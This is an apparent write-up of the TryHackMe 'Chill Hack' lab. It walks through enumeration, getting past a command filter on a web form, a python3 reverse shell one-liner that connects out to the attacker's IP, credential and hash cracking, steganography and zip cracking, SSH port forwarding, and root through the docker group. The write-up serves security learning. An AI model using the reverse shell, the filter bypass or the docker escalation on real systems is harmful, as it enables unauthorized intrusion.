Hello everyone,
Today we are going to solve chillhack from tryhackme. we will learn about python3 reverse shell, ssh port forwarding,zip2john and docker group privilege escalation.
![]()
Nmap resultsโ
Nmap scan report for 10.10.9.151 (10.10.9.151)
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.2.206
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_ 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.63 seconds
Gobuster resultsโ
===============================================================
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/css (Status: 301) [Size: 308] [--> http://10.10.9.151/css/]
/fonts (Status: 301) [Size: 310] [--> http://10.10.9.151/fonts/]
/images (Status: 301) [Size: 311] [--> http://10.10.9.151/images/]
/js (Status: 301) [Size: 307] [--> http://10.10.9.151/js/]
/secret (Status: 301) [Size: 311] [--> http://10.10.9.151/secret/]
/server-status (Status: 403) [Size: 276]
===============================================================
FTPโ
--> Got the file named notes.txt in ftp
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Enumerationโ
--> I got this website on port 80

--> After going to the secret directory i found one input and it was asking for command to execute. so i tried to do id and i got the results

--> But it was filtering many commands so after some time i tried to do like l\s and it got executed !
and i found 2 files/directories in current directory.
images index.php
--> Now let's read the content of index.php
And i found it using command c\at index.php

--> I tried with bash php and python shells but it didn't worked then at last i tried python3 shell with python3 as /usr/bin/python3 and it worked and i got the reverse shell !

==> Python shell :
export RHOST="10.9.2.206";export RPORT=4444;/usr/bin/python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
User privescโ
--> When i done sudo -l i found that i can run helpline.sh file as a user apaar
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
--> So let's run it with the command : sudo -u apaar /home/apaar/.helpline.sh and enter /bin/bash in every field and i got the shell of apaar user.

Anurodhโ
--> After some searching i found that there are 3 internal ports are running 9001 and 3306 so i done curl on both ports and found one customer portal on port 9001 but i don't know username and password to login.
--> Then i found the mysql password for root in /var/www/files/index.php

--> Then i logged in using this creds : root:!@m+her00+@db
And after that i got the password for user anurodh in webportal db.

+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+-----------+----------+-----------+----------------------------------+
| 1 | Anurodh | Acharya | Aurick | 7e53614ced3640d5de23f111806cc4fd |
| 2 | Apaar | Dahal | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
After cracking :
anurodh:masterpassword
--> Now let's try to login using ssh.
But it didn't worked so let's try to login on port 9001 using this creds.
--> but then i generated new ssh keys and entered the public keys in autorized_keys file and also i forwarded the port 9001
ssh apaar@10.10.208.94 -i key -L 9001:localhost:9001
--> After that i went to the port 9001 and found one login page.

--> We have the creds which we found in the database so let's login
after login i found this page :

--> So it says Look in the dark you will find your answer but i can't find any dark thing here xD.
so there must be anything with the image so Let's download the image and do some stegno.
steghide info hacker.jpeg
I found one file called backup.zip in the image

let's extract it
steghide extract -sf hacker.jpeg
--> But the file is asking for a passphrase so we have to find the passphrase for the zip file using zip2john
zip2john backup.zip > converted
john --wordlist=/usr/share/wordlists/rockyou.txt converted
--> And i found the passphrase pass1word
After unzipping the file i got one file called source_code.php Let's read this file.
and i got one base64 encoded password in the file

--> And this password looks of Anurodh because of this code

After decoding the password i got this
anurodh:!d0ntKn0wmYp@ssw0rd
--> Let's login on ssh !
and we got ssh shell !
Rootโ
--> When i done id then i found that docker is a part of our group so i searched for docker group privilege escalation and i found this command on gtfobins
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
--> and we got root shell !
